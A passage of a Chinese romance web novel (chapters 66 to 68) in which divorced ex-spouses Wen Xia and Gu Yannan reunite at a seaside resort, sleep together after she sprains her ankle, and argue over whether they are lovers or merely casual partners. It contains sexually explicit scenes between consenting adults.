温夏看着那两道背影,露出欣慰的笑容,眸底却有一丝不易察觉的黯然。
突然,她的手突然温暖的大掌紧紧攥住,紧跟着,男人温柔的嗓音随海风灌入耳中:“走走?”
温夏微怔,回头看他。
他一身白西装和黑西裤——他以前很爱穿深色,这段时间开始爱穿白色,经过一天的工作,白衬衫不似早上那般一丝不苟,那头被风吹得微乱的短发,让他看起来风尘仆仆的。
“你怎么来了?”
顾衍南揉揉她的脑袋,低低道:“忙完就来了。”
答非所问,温夏却听懂了,因为她在这,他忙完就赶来了。
心脏微微蜷缩,她想起了林沨的话,抬眸对上他的眼睛。
他的瞳色很黑,眼神复杂深邃,她总是读不懂他,按照林沨说的时间轴,他帮她疏通关系时,他们还处于“冷淡疏离期”。
他那个时候为什么要这样做?为什么不告诉她?他还偷偷为她做过什么事吗?
“怎么了?”见她一直盯他,顾衍南挑了下眉。
温夏摇摇头:“没什么。”
顾衍南敛下眸,牵着她的手,“这边的风景还不错,一起走走吧。”
温夏这才后知后觉反应过来手一直被他牵着,立刻要甩掉他的手:“谁准你牵我的!”
顾衍南无奈地看着又炸毛的女人,直接跟她十指相扣。
这一动作无异于挑衅,温夏内心漂浮的那点情愫就这样消散得干干净净,她用力抽手:“不许牵我的手!”
“就牵一会儿,”顾衍南安抚道,“你看海边散步的情侣,哪一对不是牵着手的。”
“那是因为人家是情侣。”
“我们四舍五入也算。”
“放手!”
“不放。”
“放开我!”
“不放。”让他牵一会儿能怎样?
两人较起劲来,温夏开始对他拳打脚踢,用高跟鞋去踹他的小腿,表现得像一个战斗力很强的斗兽。
她穿的高跟鞋从来都是十厘米起步的,顾衍南躲过又细又长的高跟,她居然要踹他那里,顾衍南一气,直接拦腰把她一把横抱起来。
温夏没预料到,腾空而起,她低叫了声,吓得条件反射搂住他的脖子:“顾衍南你干什么!”
顾衍南抱着她走在细软的白沙上,低头看她一眼:“你不愿意被我牵着走,那我只好抱着你。”
她睁大眼睛:“放我下来。”
“不放。”
温夏剧烈挣扎。
“你再乱动,我就把你摔在沙滩上。”
“……”温夏怒瞪他,“你摔一个试试!”
顾衍南的情绪很稳定,碰了下她的鼻尖:“吓唬你的。”
他轻而易举就制服了她,温夏恼的不行,叫道:“我小腿抽筋了,你快放我下来!”
“真的?”
“真的,快点,疼死了!”她眼睛里挤了点泪水。
顾衍南低眸看到她红红的眼眶,心脏骤然一紧,立刻把她放了下来,撸起袖子正要去按她的小腿,恢复自由的温夏用力推了下他的肩膀,顾衍南没防备,真的被她推倒在地。
“温夏!!”
温夏头也没回地跑了。
顾衍南看着女人踩着高跟鞋快走,长发被风吹得飘舞,像个恶作剧成功逃跑的小孩子,又气又好笑。
要想抓回她很容易,不过顾衍南不至于连这点情趣也没有,起身拍了拍身上的沙子,迈着不大不小的步子跟在她身后,保持着几米的距离。
太阳要落山了,天空被染成了橙红色,空气中浸满海水的咸湿味。
两人一前一后,她跑他追。
温夏越走越累,正要回头看他跟上来没有,脚底不知道踩到什么东西,突然一崴。
顾衍南脸色微变,快步往前去扶她,可两人之间的距离根本来不及,温夏猛地栽到在地。
脚踝处传来一阵钻心的疼痛,她倒吸了一口凉气,看向已经半跪在她跟前的男人,气不打一处来:“都怪你。”
“抱歉。”他盯着红肿的脚踝,眼神微沉。
“我自己走的好好的,你非要来烦我,”温夏没好气道,“我明天还得视察工作,这样怎么视察?”
顾衍南一把把她抱了起来,低头亲了下她的额头:“别怕,我带你去医院。”
“犯不着,回酒店上点药就行了。”其实没有多疼,缓过那股劲就没什么了。
顾衍南低头看她,强硬道:“不行,去医院。”
“我不想去医院。”温夏的态度也很强硬。
最后博弈的结果是医生上门检查,好在没伤着骨头,不然顾衍南一定会押着她去住院。
医生走后,顾衍南给她冰敷,温夏轻声说:“我自己来吧。”
顾衍南看着她脚踝上的红肿,垂下眸,他又让她受伤了,她又因为他受伤。
“我来。”他的声音很低,始终低着头。
自她崴脚后,他就很沉默,温夏看他这幅自责的模样,心里也不是滋味,轻咳了声:“我没什么事。”
“肿成这样,还叫没什么事?”顾衍南掀眸看她。
温夏抿着唇,低眸看向搁在他大腿上的右脚,状似不经意地问了句:“下午林沨跟我说,这个度假村的项目,你提前帮我打通好关系了?”
“嗯。”
“为……你怎么不告诉我?”
顾衍南也看着她的脚踝,低低道:“又不是什么很大的事,没必要。”
“为什么没必要?”温夏看着他。
顾衍南默了几秒,看着她执拗的眼神,他要怎么说?他不告诉她这些事是因为他不想显得自己太上赶着。
她那时候对他没有任何的感情,她让别的女人追他,她只想把他推给别的女人。
她从不掩饰她的冷漠,用这幅态度告诉他,她只把他当成联姻丈夫。
他也要像她一样,好似这样就能把两人拉在平等的立场。
她不理他,他便也不理她。
僵持一段时间,他还是败下阵来,她越是冷漠,他越想把她惹生气,他对她说了很多难听的话,每次看到她生气或者因为他的话伤心,他就有种变态的成就感。
至少不是毫无反应。
可是看到她伤心,他忍不住心疼,看到她为了一笔生意应酬喝酒,他本该等着她求他帮忙的,这样他才能掌握主动权,但想想她的性子,除非被逼到绝路,不然不可能低头。
算了,她花在工作上的时间越多,越没时间陪他,顾衍南便顺手帮她处理了。
但他不想让她知道这些,知道在她还只想把他推开的时候,他就连她说都不用说,就上赶着帮她解决麻烦了。
顾衍南的自尊心很奇怪,平时送花送礼物,被她一次次拒绝都没觉得上赶着有什么丢人,偏偏这种事上,他特别在意。
“所以你打算怎么谢谢我?”顾衍南避开她的话题,换上玩世不恭的语气。
“……”
低闷的气氛被他这句话直接冲散了。
温夏抿着唇,对上他戏谑的眼神,轻飘飘道:“是你自己要帮的,我又没让你帮。”
“所以你不打算谢谢我?”
“不打算。”
顾衍南低低笑出声:“宝贝儿,你现在使唤我越来越得心应手了。”
“是你自己要做的,我哪有使唤你。”而且就算她使唤他又怎么了,他不是在追她吗?
后半句话温夏没说,但顾衍南看得出她的意思,因她崴着脚的躁郁被这句话冲散:“嗯,你就该把我当成你自己的男人使唤。”
“……”
不要脸!
手机突然响了下,是祁源打来的电话,问她怎么脚受伤了。
温夏回:“没事,没伤着骨头。”
“要我们过去吗?”
温夏低声说:“顾衍南在这。”
电话那头安静几秒,祁源嗯了声:“有需要给我打电话。”
“嗯。”
挂断电话,温夏瞥了眼时间,快八点了,敷完她该洗澡了。
正要开口赶他走,顾衍南忽然出声:“祁源?”
“嗯。”
顾衍南眯了眯眸:“他跟梁从音感情挺好的。”
温夏不明所以,睨着他:“很好,不过这关你什么事?”
顾衍南抬眸,直勾勾地看着她。
温夏的手指蜷了蜷。
他突然低低笑出声:“你不用羡慕他们。”
他想到海边那幕,女人羡慕地看着那对手牵着手的男女,所以才执意牵她的手。
温夏愣住了。
顾衍南单膝跪在柔软的地毯上,自下而上地看着她,好似虔诚的信徒。
他的嗓音低沉好听,语气平静得像在讨论今天的天气,却仿佛是最庄重的承诺:“我永远在你身边,只要你愿意,我们会比他们幸福一万倍。”
第66章 “满足你。”
“谁说我羡慕了?”温夏避开他的视线, 低头看脚,还有捧着她脚的那双漂亮的手。
“是我羡慕。”
看到那两人光明正大地搂在一起,以合法夫妻的名义, 尤其是看到梁从音主动去亲那个叫祁源的, 顾衍南不得不承认,他有点羡慕祁源。
温夏很少主动亲他,更少会用满眼都是他的眼神看他,她性子内敛矜持,他们关系最好的那段时间,她都很少主动,更何况是现阶段, 他连牵她的手都不被允许。
但这怪不了她,顾衍南比谁都清楚,让他失去这一切的是正是他自己。
可理智上清楚是一回事,心里不爽又是另一回事, 特别是想到她刚才死活不乐意让他牵手, 还把自己弄伤, 顾衍南更气了。
他问过她是怎么打算的,她也不表态,再问她就不理他了。不想真把她惹生气, 顾衍南没有逼得太紧。
虽然他嘴上说早晚会把她追回来,其实心里没什么底,她对他什么心思,他摸不准。
离婚前他问她“有没有一丁点喜欢过他”, 她回他“不知道”,隔了这么久,就算有那么一丁点, 也该没剩下多少了。
比起之前她视他为洪水猛兽,现在已经很好了,她不抗拒他出现在她的生活中,他偶尔摸一摸她的头,碰一碰她的脸,她发完火也不会真生气。
可这不够,远远不够。
他要她接受他,全身心地接受他,要比梁从音爱祁源还多得那样去爱他。
顾衍南眼睛眯得狭长,让她朝他走是不可能的,要想让她早日接受他,只能靠他自己——
冰敷完脚,温夏正要赶他走,门铃突然响了。
顾衍南把她的脚搁在茶几上,“我去开门。”
温夏靠在靠枕上,拿起手机回了几条短信,再抬头,看到顾衍南推着个行李箱走了过来。
“你拿这个干嘛?”
顾衍南淡淡解释:“我的衣服和日用品在里面。”
“……”温夏板着脸,“你少装,我问的意思是你为什么把行李箱拿来我的酒店。”
顾衍南放下行李箱,“你的脚不是受伤了么,我今晚得照顾你。”
他的语气很自然,好似这是一件稀疏平常的事,就跟他本来就得在这照顾她一样。温夏被他的语气弄得有点懵,愣了几秒才冷声说:“我不要你照顾,我自己可以。”
顾衍南的视线落在她红肿的脚踝上,下结论:“你不可以。”
“我——”
“你明天不是还要去施工现场视察工作?”顾衍南对她的行程表一清二楚,“今晚要是不小心磕了碰了的,明天还怎么去?”
“脚受伤了就不要再用了,你想去哪,我抱你。”
他声音平淡,但难掩话中的强势,他自是不可能让她再用她那双已经废了的脚走路,再崴倒怎么办?她的脚还要不要?
这段时间,他很少用这么强硬的语气跟她说话,平时都是哄着的,温夏心里有些不舒服,别过脸:“我不要你抱我。”
顾衍南这些天越看越觉得她像只傲娇的布偶猫,也探索总结出一套对付她的法子,他大步走到她跟前,直接将她抱了起来,在她还没发火前,低声哄着:“乖,你今晚需要人照顾,不然会耽误明天工作的进度,你是因为我受伤,留你一个人在酒店,我不放心。”
那语气要多温柔有多温柔,换做涉世未深的小姑娘,肯定会被他蛊惑。
就连温夏都愣了几秒才想起挣扎,刚动了两下,顾衍南额头抵着她的,无奈低叹:“乖一点,别耍小孩子脾气了,我保证只是照顾你,别的什么都不会做。”
“不然呢,你还想做什么?”
他想做什么?他多久没碰她了?亲也只能趁着她不注意凑到脸上或者额头上亲一下,连深吻都没有过!更别提跟她做,他们已经半年多没做过了!
一时间,顾衍南满脑子黄色废料,甚至已经评估一番,想好该用什么姿势,面上表现得跟个正经人似的:“你脚肿成这样,我能想着做什么?我又不是禽兽。”
温夏用怀疑的眼神看他。
顾衍南给她吃下定心丸:“今晚真的只是照顾你,我要想对你做点什么我早就做了,至于忍到每晚看着你的照片自己动手?我要真是禽兽,早就把你用链子锁起来每晚跟你做,我没那么做是因为我不想你再讨厌我,我想等你愿意接受我再慢慢来。”
“……”
自己动手、和链子锁她,这两句话大可必备告诉她。
他话说的那么直白,温夏没再挣扎,她也挣扎不开,便由着他把她抱进浴室,放在椅子上。
温夏靠着椅背,看他卷起衬衫袖子,调试好水温,给浴缸里放水。
热气很快弥漫上来,他的身影逐渐模糊,弯腰往浴缸里倒她常用的那款玫瑰精油,然后将沐浴乳等一系列洗漱用品放到浴缸触手可及的地方。
完成这些工作,他回过头来问:“要我给你洗吗?”
温夏自是摇头:“不用。”
他没说什么,找到一个发圈递给她:“把头发扎起来,今天别洗了。”
温夏抓起一缕闻了闻:“臭臭的,要洗。”
顾衍南弯腰,嗅着她的发顶,揉揉她的脑袋,“不臭,明天再洗,你这样洗不方便,或者我让人送个躺椅来,我给你洗?”
温夏很讨厌洗头,偶尔犯懒不想动,就会让顾衍南帮她洗,他的洗头技术还蛮好的。
她鼓起腮帮,又抓着头发闻了闻:“算了,太麻烦了,我明天去理发店洗吧。”
顾衍南挑起眉:“我不嫌麻烦。”
温夏睨他:“我是不想麻烦工作人员给我送躺椅。”
“……”
温夏自是不愿意让她看着他光着身体,所以在顾衍南提出帮她脱衣服时果断拒绝,他面上淡淡的,看不出什么情绪,撂下句“有需要喊我”,就直接出去了,临走前还帮她把门关上。
简直就是个正人君子。
温夏的脚搭在浴缸上,身体浸入热水中,她仰头看天花板,心想他或许真的没想做什么,是她自己想的太多了。
这家酒店就是度假村的,她要的是行政房,只有一个卧室,要留他在沙发上睡吗?可是他行李都搬来了,要赶他走肯定要掰扯好久。
但留下他的话,她已经很久没有和他在一个屋子里睡过了,他刚才说什么来着?他居然每晚看着她的照片自己动手,这混蛋怎么这么变态!
胡思乱想一通,温夏抬手用力一拍,水花四溅。
算了算了,不想了,虽然他话说的糙,却有那么一丝道理,他如果真想对她做点什么早就做了,不至于等到现在。
洗澡吧!
……
一只脚不能动,艰难地洗完澡,再艰难地穿上衣服,她扶着墙正要站起来,敲门声响起:“洗好了吗?”
这么准时?他不会在外面偷听她洗澡吧?这个念头在她脑子里一闪而过,她应了声:“嗯。”
“我进来了。”说完,等了三秒,见她没反对,他推门走了进来。
水雾扑面而来,女人穿着柔软的白色睡衣,黑发披肩,未施粉黛,清丽中透着一丝妩媚。
顾衍南喉结滚动了下,不动声色地掩下眸底的晦暗,大步上前把她抱起来。
很软,很香,那香味就在他鼻翼,他脑海中不受控制地浮现出这段时间的夜晚,他一个人躺在他们的婚床上,幻想过的孟浪缠绵。
他现在只想把她扒得干干净净,他要从里到外,不留一丝空白占有她,让她的身上烙满他的痕迹。
温夏的脑子也有些不受控,以往她洗完澡,他抱着她都是要去做那种事的,哦不,以往不会等她洗完澡,她正洗着他就会直接进来。
然后她的洗澡时间会被无限拉长。
过往的画面因太频繁,回忆起毫不费力,他动情时的表情,紧密贴合的触感,还有他哑声在她耳边说的那些下流话,都成了此刻暧昧的催化剂。
走动间,隔着薄薄的布料,两具身体摩擦,一软一硬,形成极致的反差。
一段路并不长,两人都很安静,可这份安静,更是放大了蠢蠢欲动的暧昧。
走到床边,顾衍南没有把她放下,而是直接抱着她,让她坐在他的腿上,一只手搭在她腰间,另一只手摸着她的脸。
卧室光线明亮,那双清澈漆黑的眼睛上铺着一层潋滟水雾,白皙的脸蛋从里面透出粉粉的桃红色,明明是无辜至极的表情,里面却盛满了小钩子。
顾衍南手指摩挲着她的下巴,和她靠的很近,嗓音低哑得不成样子:“明天几点起床?”
独属于男人,或者说,独属于顾衍南的气息淹没了她的嗅觉神经,温夏的身体有些软,声音也软:“八点半。”
“闹钟订了吗?”
“订了。”
“早餐想吃什么?”他靠的更近了,温热的呼吸喷在她脸颊。
“……随便。”
“脚刚才有没有沾到水?”
“没有。”
“还疼吗?”
“不疼了。”
无关痛痒的话题一个接一个,温夏被他的有些懵,可能是刚洗完澡大脑缺氧,他问什么她答什么,话出口也不过脑子。
所以当顾衍南问“你是不是想要了”的时候,她没过脑子就回了句:“嗯。”
下一刻,就听到男人低低笑出声:“好,满足你。”
温夏忙着推他:“没有,我说错了!”
“没有?可是——”顾衍南眸色深得仿佛能把人溺毙,他拉着她的手。
温夏缩着手不愿意,他却带着她的手——这才发现,西装裤的布料上面有一块水渍。
头顶响起男人暗哑缓慢的声音:“温大小姐,我的裤子都被你弄脏了。”
第67章 “喂我。”
证据确凿, 温夏看着他裤子上那块水渍,百口莫辩。
真是太久没有过了。
从离婚到现在,有大半年的时间了, 他消失在她生活的那段时间里, 她从未想过,就像个性冷淡的苦行僧,失去了七情六欲中。
甚至不会想起这事。
然而,从偶遇那天开始,她当晚就做了跟他有关的春.梦,之后的一段时间,这种梦层出不穷, 他无数次在梦中骚扰她。
不过不能怪温夏,要怪就怪顾衍南勾引她。
每次见面,他要么穿很显身材的衣服,打扮得特别骚包, 胸口崩得紧紧的, 要么就是视频时“不小心”露出胸肌腹肌, 就差没脱光了让她看他的身材多好。
在这方面,温夏向来坦诚,她从不否认和顾衍南做是一件极为沉溺上瘾的享受。
他们的第一晚, 就是因为她酒劲上头主动勾他,不然他们之间连开始都不会有。
色诱这招虽然肤浅,但是有效,年轻那会儿可以怪在年纪小不懂事, 可现在她仍是会被他勾住,轻而易举的,就被他蛊惑。
正如现在。
顾衍南当然看得出她想要, 她有多喜欢摸他的胸肌和腹肌他比谁都清楚,不管再忙,除了每天的晨跑,他每周都会抽时间去健身。
她这么色,他不自觉点怎么行?
他就知道她喜欢跟他做这事,喜欢的不得了,低眸看着她百口莫辩的无措模样,半眯着眼,唇贴到她耳边,刻意压低声音问:“宝贝儿,我们多久没做了?”
温热的鼻息喷洒在耳蜗,温夏的脸蛋不受控制地烫红,大脑缺氧变得空白:“不……不记得了。”
男人的唇瓣有意无意地摩擦着她的脸颊,就像心尖上的那块软肉时不时被挠了一下,一时间,她心跳如雷,完全不受控制。
“七个月,二百一十八天,”他轻轻含咬她的耳朵,声音压得更低更哑,性感得要命,“宝贝儿,我知道你想要我。”
别说顾衍南比她自己还要了解她的身体,光是越来越多的证据,就让温夏连反驳的空间都没有。
这事从来都是不由理智所控制的,温夏承认自己很难抵抗得了他的蛊惑。
可是……
顾衍南将她的犹豫收入眼底,眼神暗了暗,舔舐她耳廓的舌尖向下蔓延,吻住她脖颈上的动脉,手指向下。
他的指尖冰凉,温夏的身体猛地一颤,不受控制地软了身体,裸露在外的肌肤全都红透了。
“顾、顾衍南……”温夏低喘着开口,声音缠上丝丝缕缕的、似有若无的哭腔。
如果说顾衍南已经在隐忍的边缘线,她软着嗓子喊他名字的这一刻,理智的防线直接被她喊崩溃了。
男人呼吸紊乱,他眯着眼,扣着她的下巴直接吻了下去。
时隔多日的深吻,温夏短暂呆滞了片刻,也就是在她愣神的这瞬间,顾衍南已经轻车熟路地撬开她的唇齿,舌尖勾缠她的,将滚烫的呼吸渡了进来。
温夏还坐在他的腿上,身体软的不成样子,为了防止不小心摔下去,手指无意识攥紧他的衬衫,被迫承受着他的深吻。
旷日持久的一个吻,她没什么反抗的意思,顾衍南的眸色越来越深,肆意搅弄着她的口腔,吮吸她是舌根,把她的舌头都快要亲麻了。
卧室很快被水渍声渲染得湿润。
意乱情迷时的理智为负数,他的舌尖几乎要抵到她的喉咙,还要再往里,温夏受不住了,推搡他的胸膛,他却扣住她的手,调转了个方向,声音沙哑得厉害:“乖,别推,去摸你喜欢的腹肌。”
指尖触碰到码砖似的肌肉,温夏愣了愣,想到前不久做的那个梦,她就是这样被他带着手。
手感真的很好,怪不得她在梦中乐此不疲。
顾衍南边亲她边观察她的反应,见她动情,抱着她把她放到床上,他的身体紧跟着压了上来。
刚分开几秒钟的唇瓣又贴在一起,顾衍南像是褪去所有文明时代标记的原始野兽,深眸浓黑如砚,眼神中透着浓浓的危险,眼底是毫不掩饰的、浓烈的欲念。
独属于顾衍南的气息淹没了她的嗅觉神经,温夏感觉到自己早已缴械投降的身体更加溃不成军,神经颤栗不已,她的心跳越来越快。
试图分出心力说服自己冷静点,这只是一场因生理需要才会发生的,对于成年男女来说,这很正常。
然而,不仅一点用都没有,她好不容易找回的理智就这样轻易被他的吻击溃,甚至隐隐期待能够被卷入到那个不受她控制世界。
他的两只手都在忙,只能用牙齿咬她的扣子,解个扣子花了不少时间,凌乱不堪。
“宝宝,喂我。”顾衍南已经忍不了了,但仍不忘教唆她主动。
喂他?
光是想想,温夏就羞耻得脸红:“不……不可以。”
顾衍南克制着欲念,突然停下,鼻息喷洒在她的耳边,边磨边哄道:“为什么不可以?以前又不是没有过,我们坦诚相见过无数次,我在忙,很忙……”
戛然而止,来回反复,温夏崩溃得忍不住哭出来:“顾衍南,你别这样,不要这么折磨我……”
顾衍南眯起眼睛,眼尾微微上挑,蛊惑道:“你乖一点,按照我说的做,我就给你想要的。”
温夏死死地咬着唇,在他的软磨硬泡下,最后欲望战胜所剩无几的羞耻心,心想反正都这样了,如他所说,之前又不是没喂过,没什么好矜持的……
说服自己,温夏眼睛一闭,送到他口中:“呐。”
……
几次后,温夏的理智渐渐恢复,她看着男人满眼的危险,想起刚才被他拿捏着任他为所欲为,愈发不高兴。
凭什么他总是拿捏她,明明是他在追求她,她一个被追求者怎么能被他拿捏?
她是喜欢他的身体,可他也喜欢她的,为什么他能控制住欲念逼她做着做那,说这说那,好似她可以随他摆弄。
温夏定定地看着他,在顾衍南沉身那刻,她突然伸出手攀上他的肩膀,翻身坐在他的身上,然后一把将他推倒。
顾衍南猛地倒在了柔软的床垫里,看着身上的女人,微微挑起眉:“你要q我?”
“是啊,不行吗?”顾衍南很少让她在上面,他是个控制欲极强的男人,在这事上更是掌握着绝对的控制权,温夏永远是被掌控的份儿。她从不计较这些,因为体力跟不上,不如躺下享受。
可是现在,她突然很想在上面,她也想让他求她。
顾衍南眼神微微沉下去,光是看她这幅表情,就能猜到她心里的想法。
他用商量的语气说:“宝贝儿,下次我再陪你玩,今晚先听我的,好不好?”
顾衍南骨子里还是很大男子主义的,在床上说一不二的掌控权是不能让渡给她的,平日里她打他巴掌也就算了,就当是情趣的一种表达方式,可这事上他必须主导,不能让她来。
他敢保证,她肯定会像刚才他逼哄她那般玩他。
温夏冷哼:“不要,你总是哄我,下次你又会说下次,你要是不愿意,那你就去洗冷水澡吧。”
“在你心里我就是这样的人?”
“不然呢。”
“……”
顾衍南颠了下坐在他身上的女人,无奈地叹了声,服软:“好吧,可是宝贝儿你不能乱来,如果玩坏的话,未来受苦的是你。”
温夏露出狡黠的笑:“我有分寸。”
顾衍南:“……”
温夏伸手,把他随手扔到床尾的领带拿了过来,凌乱的长发随意披散在肩膀上,在暖光下格外温软娇媚,那双漂亮好看的眼睛冲着他挑衅地笑着。
顾衍南有种不大好的预感:“你这是要……?”
温夏拿着领带凑近他,眯起眼睛:“我要绑你。”
顾衍南定定地盯着她,知道她是认真的,也不知道她为什么会想着绑他,他平时绑她绑得又不多,只有在她挣扎厉害的时候才会用睡袍捆着她。
“为什么想着绑我?”顾衍南看着她的眼睛,哑声问。
温夏挑眉:“因为你以前绑过我啊,而且你力气比我大这么多,不绑住你的话,你肯定会压住我。”这样的话,她还怎么折磨他。
这点她没猜错,让她q几下是情趣,他不可能一直让她主导,肯定会收回掌控权。
顾衍南看着把坏心思写在脸上的女人,突地笑了:“行,你绑吧。”
这下轮到温夏愣住,没想到他这么轻易松口,她狐疑地看着他。
顾衍南坐了起来,唇贴上她的耳廓,往里面吹了口气:“只是——我之前绑你,哪次没让你享受?你可以绑我,但如果没能让我享受的话,我会加倍在你身上讨回来的。”
温夏咬着唇,看着他靠的更近:“会绑吗?要我教你吗?领带绑着手腕会很疼,不要弄疼我,知道吗?”
“你也知道疼,那你之前绑我的时候,怎么没想着我会疼?”
而且他皮糙肉厚的,她的皮肤比他的要娇贵多了。
每次被他绑,都得红一段时间。
“……”顾衍南难得语塞。
他没什么捆绑的特殊癖好,绑她的几次都是因为她挣扎的太厉害,正在气头上,难免不会太温柔。
听着她愤然控诉他的床品,顾衍南想为自己辩解,他大多数时间的床品还是蛮不错的,不然她也不会喜欢上跟他做这事。
只是沉浸其中,偶尔会不受控。
她指责的也没错。
温夏看他被怼得没话说,冷艳地笑了下,命令道:“把你的手伸出来。”
第68章 “勉强算是炮友吧。”……
折腾到不知道几点, 顾衍南兴奋得第二天很早就醒了,还没睁开眼,就感受到怀中搂着的柔软触感。
缓缓睁开眼, 低眸看着女人恬静的睡颜, 他盯着看了会儿,突然抬手掐了下自己的胳膊。
疼,是真的。
不是梦。
分开后的这段时间里,他无数次梦到他们和好,她又睡在他的怀里,醒来后发现只是一场梦,梦中的满足和现实的空虚快要把他逼疯, 让他愈发无法克制把她抓回来的冲动。
可是不能。
他只能一忍再忍。
而昨晚,虽然有用男色诱她的嫌疑,但不管怎样,她是心甘情愿跟他上床, 也是心甘情愿让他抱着睡觉, 还睡得这么安稳, 顾衍南看着她白皙的脸蛋,心脏一软,在她发顶上亲了亲。
亲了一下, 没过瘾,顾衍南又在她额头上烙下一个吻,静静盯着她熟睡的模样,余光无意识瞥到他手腕上的红痕。
海浪从窗外传来, 空气中残留着激战大半个夜晚尚未散尽的旖旎气息。
她昨晚真的绑了他,用他的领带,他耐着性子教了她半天怎么绑, 她却跟手残一样怎么都学不会,最后气急用力打了死结,把他的手腕都勒红了。
如他最初预感的那样,她果然抱着折磨他的心思,葱白柔软的指尖在他身上划来划去,跟羽毛似的,只挠一下,却不肯停下来久留。
猫爪子轻轻一挠,若即若离的触碰,留他备受折磨。
她是满足过了,他一次也没有,她铁了心要让他难受。手动不了,动腿的话太过粗鲁,顾衍南便喘给她听,一声声的低喘让原本自以为掌握着主导权的女人逐渐红了脸颊,最后实在受不了去捂他的嘴,他伸出舌尖去舔她的指尖。
后来,趁着她意乱情迷,他哄她把领带解开,翻身压住她。
想到她昨晚的主动,顾衍南唇角勾起淡淡的弧度,紧了紧手臂的力道,就这样静静地看着她。
温夏是被闹钟声吵醒的,今天上午得去施工现场视察,大脑昏昏沉沉,意识被闹钟喊醒,身体的其他器官也跟着苏醒,疼,又酸又疼。
全身的骨头像是拆卸重组过似的,酸软得不成样子。
“醒了?”贴着耳朵的薄唇翕动,沙哑低沉的男声响起。
温夏没多意外,那双力道大到疑似想勒死她的手还环在她的腰间,又沉又重,占有欲极强的姿势,让她想忽略都不行。
睁开眼,转身,猛地对上那双正盯着她的黑眸。
那眼神,好似盯着她看了好久了。
温夏的心脏漏跳一拍,看着男人含笑的双眸,昨晚荒唐放纵的画面迅速钻入脑海,每一个细节都那么清晰。
昨晚两人都没喝酒,都是清醒状态,想耍赖也无从可耍。
顾衍南当然不会让她耍赖,捏着她的手指,低声问:“昨晚你一滴酒都没沾,也别跟我扯什么睡一觉失忆了,这会总不会不认账了吧。”
温夏迷茫地看着他:“认什么账?”
顾衍南眯起眼睛,眼神暗了下去:“我们现在是什么关系?”
温夏有些发懵:“什么什么关系?一夜情?”
“一夜情?”捏着她手指的力道无意识收紧,顾衍南重复着这三个字,怒极反笑,“你想用一夜情就打发我?”
“不然呢?”温夏理所当然道,“你又不会怀孕,难不成睡一觉我还得把你娶回家?”
她无所谓的语气简直要把顾衍南气死,也就是他没有怀孕的机能,不然他早就生几个小崽子了,以她的责任心,就算看在小崽子的份上都得跟他好好过日子。
“是我把你娶回家,”顾衍南咬了口她的耳朵泄愤,不想强逼她立刻复婚,只好退而求其次,“你暂时不愿意复婚我可以依你,我们就先从谈恋爱开始吧,我现在是你的男朋友。”
算起来他们纠缠这么多年,陌生人,同学,炮友,夫妻,前夫前妻,各种身份都有了,还没做过男女朋友。
到他们这个年纪,男女朋友这个词汇有些新鲜,三十出头的人还跟校园里的小年轻似的谈些情情爱爱,挺稀奇,但顾衍南发现自己不仅不排斥,还挺期待跟她谈恋爱。
如果当年他没有离开,而是像如今这般步步紧逼,他们早该谈一场校园恋爱的,而不是这把年纪把该有的恋爱经历补回来。
顾衍南已经开始在脑子里想象他们谈恋爱的画面了,温夏打破了他的幻想,她淡声道:“不会复婚,也不会谈恋爱,我们之间只是睡了一觉,我不会对你负责,更不需要你对我负责。”
男人的眼神在这段话中越来越冷,他已经一退再退,答应她暂时不复婚,她却只想把昨晚当成一夜情。
还直白地说不会对他负责。
顾衍南此刻就像被骗炮的弱势群体,他抿紧薄唇,喉结艰涩地滚动:“你对我没有信心,不想复婚我理解,所以我提出我们从谈恋爱开始慢慢来,温夏,你这话是什么意思?你只想跟我睡觉不想跟我谈情?”
温夏沉默地看着他。
是的,她承认,她抵抗不了来自他的性吸引力,按照现在网络上的话来说,她对顾衍南就是生理性喜欢,这么多年来,只有他能勾起她原始的欲望。
她今年三十岁,剩下几十年总不至于像个老修女一般过着禁欲的生活。
她对他有欲望,这是毋庸置疑的,他能满足她,这是经过无数次实践检验的。
别说她找不到能代替他的人,就算勉强找到他的平替,他只要一天不愿意放手,她要是敢带小男生回家,他绝对能干出梁从音口中的“带着警察来扫黄”的事迹。
既如此,不如就他吧。
谈情太容易对彼此要求过高,对别人有所期待本就是一件风险性极高的事,她目前还不想再把自己置身于这件高风险的冒险之中。
要是只谈性的话就会省事很多,她不需要对他负责,不会让她感到太束缚,还能纾解她的生理需求。
“说话。”顾衍南见她不出声,沉声问:“你到底怎么想我们的关系的?”
“勉强算是炮友吧。”温夏说。
顾衍南“腾”地坐了起来,炮友?
还勉强才能算是?
不勉强的话,她是不是连炮友的名分都不愿意给他?
温夏将他微怒的神情收入眼底,她也慢慢坐起来,被子下的两具身体都是一丝.不挂,她拉着被子遮住白皙的肩膀,坦然地看着他:“跟你做很爽,如果你愿意,我们可以保持长期的床伴关系,但我不想谈恋爱——哦,我说的床伴关系是指我有需求的时候你再来满足我,不是你可以随时随地找我做。”
这一番话下来,顾衍南的脸色已经可以用铁青来形容。
他现在连床伴都不是,就是个召之即来挥之即去的鸭子。
哦不对,鸭子是收钱的,他不仅一毛钱没有,还得倒贴。
他这段时间真是太惯着她了,她现在什么样的要求都敢提。
让他做免费的鸭,她真敢说啊。
温夏没时间去猜男人蜿蜒曲折的心思,她一大早还得去施工现场呢,扯了件睡袍披在身上,留给他一句:“你考虑考虑吧。”
男人仍是一言不发,一副被她狠狠伤了的模样,温夏却没什么负罪感,他昨晚又不是没爽到,何必摆一张被她骗炮的黑脸。
没搭理他,温夏自顾自下床,去卫生间洗漱。
餐桌上放着顾衍南让人送来的早餐,温夏洗漱完换身衣服,坐在餐椅上慢条斯理地吃了起来。
边吃边想那还坐在床上冷着脸的男人是不是真的生气了。
怎么一副让他做炮友是侮辱他人格的表情?他们最开始不就是炮友吗?他装什么纯情少男?
正腹诽着,门铃突然响了,祁源来找她去视察工作的。
温夏说了句“等我吃完饭”,拉着椅子坐下,顺嘴问道:“从音还没起呢?”
“嗯,她昨晚睡得晚。”祁源无意间瞥到了她脖子上的吻痕,目光一凝。
温夏顺着他的视线看去,心里把顾衍南骂了一通,从十八岁那晚第一次到现在,每次他都得吻遍她全身,跟狗一样又亲又咬的,弄得到处都是印子。
“顾衍南?”
温夏嗯了声。
祁源被梁从音带的变得八卦起来:“你们复合了?”
温夏尴尬得不知道该怎么说,学长是个非常传统的人,炮友关系对他来说就是只想耍流氓不想负责,虽然她不觉得自己这样的做法有什么问题,但也不想细跟学长说她目前只打算让顾衍南做床伴。
正要开口,卧室的门突然从里面推开,顾衍南低沉沙哑的嗓音响起,语气中还带着点极不情愿的妥协。
